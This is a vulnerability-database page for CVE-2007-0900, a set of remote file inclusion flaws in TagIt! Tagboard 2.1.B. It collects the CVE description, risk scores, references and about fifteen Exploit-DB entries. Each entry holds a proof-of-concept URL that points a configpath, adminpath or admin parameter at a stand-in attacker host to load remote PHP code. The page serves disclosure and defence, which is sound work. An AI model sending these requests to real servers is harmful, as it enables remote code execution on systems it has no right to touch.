CVE-2007-0900
published 2007-02-13CVE-2007-0900: Multiple PHP remote file inclusion vulnerabilities in TagIt! Tagboard 2.1.B Build 2 and earlier, when register_globals is enabled, allow remote attackers to…
PriorityP346high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
10.14%
95.1th percentile
Multiple PHP remote file inclusion vulnerabilities in TagIt! Tagboard 2.1.B Build 2 and earlier, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the (1) configpath parameter to (a) tagviewer.php, (b) tag_process.php, and (c) CONFIG/errmsg.inc.php; and (d) addTagmin.php, (e) ban_watch.php, (f) delTagmin.php, (g) delTag.php, (h) editTagmin.php, (i) editTag.php, (j) manageTagmins.php, and (k) verify.php in tagmin/; the (2) adminpath parameter to (l) tagviewer.php, (m) tag_process.php, and (n) tagmin/index.php; and the (3) admin parameter to (o) readconf.php, (p) updateconf.php, (q) updatefilter.php, and (r) wordfilter.php in tagmin/; different vectors than CVE-2006-5249.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| tagit | tagboard | <= 2.1.b_build_2 | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/addTagmin.php?configpath' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/addTagmin.php?configpath' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/addTagmin.php?configpath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/addTagmin.php?configpath=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/editTag.php?configpath' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/editTag.php?configpath' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/editTag.php?configpath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/editTag.php?configpath=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/updateconf.php?Admin' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/updateconf.php?Admin' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/updateconf.php?Admin' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/updateconf.php?admin=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - 'tagviewer.php' Multiple Remote File Inclusions
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - 'tagviewer.php' Multiple Remote File Inclusions
Tagit! Tagit2b 2.1.B Build 2 - 'tagviewer.php' Multiple Remote File Inclusions
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagviewer.php?configpath=http://example2.com/evil?
http://www.example.com/[TagIt_path]/tagviewer.php?adminpath=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/delTagmin.php?configpath' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/delTagmin.php?configpath' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/delTagmin.php?configpath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/delTagmin.php?configpath=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/ban_watch.php?configpath' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/ban_watch.php?configpath' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/ban_watch.php?configpath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/ban_watch.phpp?configpath=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/index.php?adminpath' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/index.php?adminpath' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/index.php?adminpath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/index.php?adminpath=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/updatefilter.php?Admin' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/updatefilter.php?Admin' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/updatefilter.php?Admin' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/updatefilter.php?admin=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/manageTagmins.php?configpath' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/manageTagmins.php?configpath' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/manageTagmins.php?configpath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/manageTagmins.php?configpath=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/delTag.php?configpath' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/delTag.php?configpath' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/delTag.php?configpath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/delTag.php?configpath=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - 'tag_process.php' Multiple Remote File Inclusions
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - 'tag_process.php' Multiple Remote File Inclusions
Tagit! Tagit2b 2.1.B Build 2 - 'tag_process.php' Multiple Remote File Inclusions
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tag_process.php?configpath=http://example2.com/evil?
http://www.example.com/[TagIt_path]/tag_process.php?adminpath=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/CONFIG/errmsg.inc.php?configpath' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/CONFIG/errmsg.inc.php?configpath' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/CONFIG/errmsg.inc.php?configpath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/CONFIG/errmsg.inc.php?configpath=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/readconf.php?Admin' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/readconf.php?Admin' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/readconf.php?Admin' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/readconf.php?admin=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/verify.php?configpath' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/verify.php?configpath' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/verify.php?configpath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/verify.php?configpath=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/wordfilter.php?Admin' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/wordfilter.php?Admin' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/wordfilter.php?Admin' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/wordfilter.php?admin=http://example2.com/evil?
Exploit-DB
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/editTagmin.php?configpath' Remote File Inclusion
exploitdb·2007-02-12
CVE-2007-0900 Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/editTagmin.php?configpath' Remote File Inclusion
Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/editTagmin.php?configpath' Remote File Inclusion
---
source: https://www.securityfocus.com/bid/22518/info
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
TagBoard 2.1.b Build 2 and prior versions are vulnerable.
http://www.example.com/[TagIt_path]/tagmin/editTagmin.php?configpath=http://example2.com/evil?
No writeups or analysis indexed.
http://advisories.echo.or.id/adv/adv65-K-159-2007.txthttp://www.osvdb.org/34603http://www.osvdb.org/34604http://www.osvdb.org/34605http://www.osvdb.org/34606http://www.osvdb.org/34607http://www.osvdb.org/34608http://www.osvdb.org/34609http://www.osvdb.org/34610http://www.osvdb.org/34611http://www.osvdb.org/34612http://www.osvdb.org/34613http://www.osvdb.org/34614http://www.osvdb.org/34615http://www.osvdb.org/34616http://www.osvdb.org/34617http://www.osvdb.org/34618http://www.securityfocus.com/bid/22518http://www.vupen.com/english/advisories/2007/0557https://exchange.xforce.ibmcloud.com/vulnerabilities/32436http://advisories.echo.or.id/adv/adv65-K-159-2007.txthttp://www.osvdb.org/34603http://www.osvdb.org/34604http://www.osvdb.org/34605http://www.osvdb.org/34606http://www.osvdb.org/34607http://www.osvdb.org/34608http://www.osvdb.org/34609http://www.osvdb.org/34610http://www.osvdb.org/34611http://www.osvdb.org/34612http://www.osvdb.org/34613http://www.osvdb.org/34614http://www.osvdb.org/34615http://www.osvdb.org/34616http://www.osvdb.org/34617http://www.osvdb.org/34618http://www.securityfocus.com/bid/22518http://www.vupen.com/english/advisories/2007/0557https://exchange.xforce.ibmcloud.com/vulnerabilities/32436
2007-02-13
Published